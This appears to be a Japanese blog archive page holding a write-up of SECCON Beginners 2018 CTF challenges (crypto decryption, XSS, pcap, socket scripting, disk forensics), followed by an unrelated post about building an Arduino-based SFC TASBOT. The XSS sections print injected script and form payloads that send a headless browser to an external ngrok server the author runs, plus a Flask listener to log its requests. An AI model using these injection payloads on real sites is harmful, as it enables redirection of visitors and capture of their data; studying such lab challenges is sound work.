    aesCryptoServiceProvider.Key = Encoding.ASCII.GetBytes("SECCON_BEGINNERS");
    aesCryptoServiceProvider.Mode = CipherMode.ECB;
    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
    byte[] criptedBytes = Convert.FromBase64String("E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5");
    byte[] inArray = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(criptedBytes, 0, criptedBytes.Length);
    string plaintext = Encoding.ASCII.GetString(inArray);

    Console.WriteLine(plaintext);
  }
};

ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}

Web

[Warmup] GreetingSECCON Goods は zzuf が解きました SECCON Goods に関しては問題鯖に対して sqlmap を撃ってflagを出したらしいです

Gimme your comment

このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

付与されたjsを見ると、 puppeteer が動いており、

  • コメント投稿後にコメントのページに移動
  • input[name="comment_content"]投稿ありがとうございます。大変参考になりました。 と入力
  • button[type=submit] をクリック

というように動いていました

入力したコメント本文がエスケープされずそのままhtmlに貼られたので、自前で適当なサーバーを作ってそこにリダイレクトさせます

from flask import Flask, request
app = Flask(__name__)

@app.route('/')
def hello():
    name = "Hello World"
    print request.headers.get('User-Agent')
    return name

if __name__ == "__main__":
    app.run(debug=True)
$ ngrok http 5000
# Forwarding にngrokドメインのurlが貼られるのでそれを使う
<script>location.href = 'http://{Forwardingの文字列}.ngrok.io';</script>

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

1つ前のものと比べ、基本的な動きや puppeteer で動くクライアントのソースコードは全く変わっていませんでした

同じくコメント本文はエスケープされなかったのでとりあえず同じようにXSSを狙うと、次のようなエラーが出ます

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-dtZQXTtwWaTWzlzbWQI5YFQO/v4LWqNq9cqtOQ8D9nI='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

ヘッダにある Content-Security-Policy: default-src 'self' によってこうなるらしいです、こんなの初めて知った…

ただ前回と同じくエスケープはされないため、コメントでもう1つ <form><button> を用意して、それを押してもらいます。

<form method="post" "http://{Forwardingの文字列}.ngrok.io/comments">
  <input type="text" name="comment_content">
  <button type="submit">コメントを送信する</button>
</form>

自前のサーバー側も少し手を加えます

@app.route('/comment', methods=['POST'])
def comment():
    name = "comment"
    print request.headers.get('User-Agent')
    return name

ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

とのことで、ルールのページに記載されていたIRCチャンネルにログインすると表示されました

本当にめちゃくちゃ久々にIRCを触った…

[Warmup] plain mail

pcapファイルがあり、平文でのメールのやりとりがキャプチャされていました

フラグになるっぽいメール本文は2つあり、片方はzipつき、もう片方は you_are_pro という本文でした

zipは鍵がかかっており、パスワードを尋ねられたので you_are_pro と入力したら解凍できました PRO

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
869 + 924 = 1793
(Stage.2)
665 * 677 = a
[!!] Wrong, see you.

こういうやつでした、愚直に解くものを書きます

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

while True:
    text = s.recv(4096)
    print text

    prob = text.split('\n')[-1]

    ans = eval("".join(prob.split(' ')[:3]))
    print ans

    s.send("{}\n".format(ans))

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

disc.img というバイナリが配布されます

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x1,22,31), end-CHS (0x63,36,30), startsector 2046, 129024 sectors

mountできるものではなさそうなので、 testdisk を使ってファイルを取り出します

f:id:naari_3:20180527154940p:plain

[Proceed] -> [Intel] -> [Analyse] -> [Quick Search] -> 見たいパーティションの上で P とすると内部のディレクトリを覗くことができます

f:id:naari_3:20180527155630p:plain

A ですべてのファイルを選択し、C でコピーに移り、保存先を指定できるので適当なディレクトリを指定します

$ tree
.
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   └── message_2_of_3.png
└── message3
    └── message_3_of_3.pdf

4 directories, 3 files

message{1,2,3}のそれぞれにフラグの欠片のようなものがあるので見ていきましょう

$ cat message_1_of_3.txt | base64 -d
ctf4b{y0u_t0uched

1つ目はbase64エンコードされたものでした

ctf4b{y0u_t0uched

$ file message_2_of_3.png
message_2_of_3.png: data

2つ目はpngかと思いきやそうではないようです

バイナリエディタで見てみると、マジックナンバーX で埋められているので正しいマジックナンバーに直します

f:id:naari_3:20180527161158p:plain
左:欠損png, 右:正常png

開くことができました

f:id:naari_3:20180527162943p:plain

_a_part_0f_

そのまま3つ目を探ろうとしましたが、 message_3_of_3.pdf は0バイトでした

別のツールを使ってpdfだけ抽出してみます

$ foremost -t pdf -i disk.img
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: disk.img
|*|
$ tree ./output
./output
├── audit.txt
└── pdf
    └── 00018946.pdf

こちらは正しそうなpdfで、開くことができました

f:id:naari_3:20180527162327p:plain

disk_image_for3nsics}

ということでフラグは以下のとおりです↓

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

TASBOTを作ったという趣旨の記事をQiitaと第2のドワンゴAdvent Calendarに投稿した

はじめに

qiita.com

こういう記事を書きました。SFCのTASBOTを作る試みを書いています。

qiita.com

このカレンダーの13日目に登録されています。

遅刻

記事投稿(ゴール)を 1P, 2P共に4コンまで操れるようになること としていたのが、単純に時間の見誤りで余裕ぶっこいてたら期日が迫っていたというわけになります。

当日までには既に1P1コンのみを操るようなものは出来ていたため、残りをどうにか頑張ろうと当日の夜中までTASBOTの実装をしていたわけですが、これは今日明日中には無理だと気づいた時には既に13日は終わっていました。

もうしわけない

出来

ただ、1P2P各4コンまで使うTASの方が少ないくらいなので、それ以外のTASのリプレイファイルは割りと再生できたし、それっぽい動画をYouTubeにアップロードすることも出来たのでよかったと思っています。

www.youtube.com

これは充分人外の動きなのですが、ここまで来たのであればルールの議論が熱くなった原因である「任意コード実行」のカテゴリのものをどうにか動かしたいと思っています。

現状、SFCコントローラーの内部に使われている4021というロジックICふたつをArduino上で雑に模倣しているのですが、Arduinoのクロック数がそんなにおおくないために合計8つのコントローラーの動きを同時に操れないのではないかと不安視しています。

具体的には8つのコントローラーを模倣するためには1つのコントローラーを模倣する場合の最低4倍の時間が必要なことがわかっているため、厳しめな勝負になりそうです。

あとInterruptに依存しまくっているのですが、今実行環境として使っているArduino UnoだとInterruptのピンの数が少なく、かといってピン数が比較的多いMEGA2560を使ってみると何故かUnoより遅めに動いているように見えるので、まずはそこから解決したいところです。

いずれにせよ、全体を通して電子工作のちしきがなくて辛かったです。

公開

全くwebと関係ない記事を投稿したし、おそらくみんな興味ないだろうが、技術系の記事であるために文句はないはず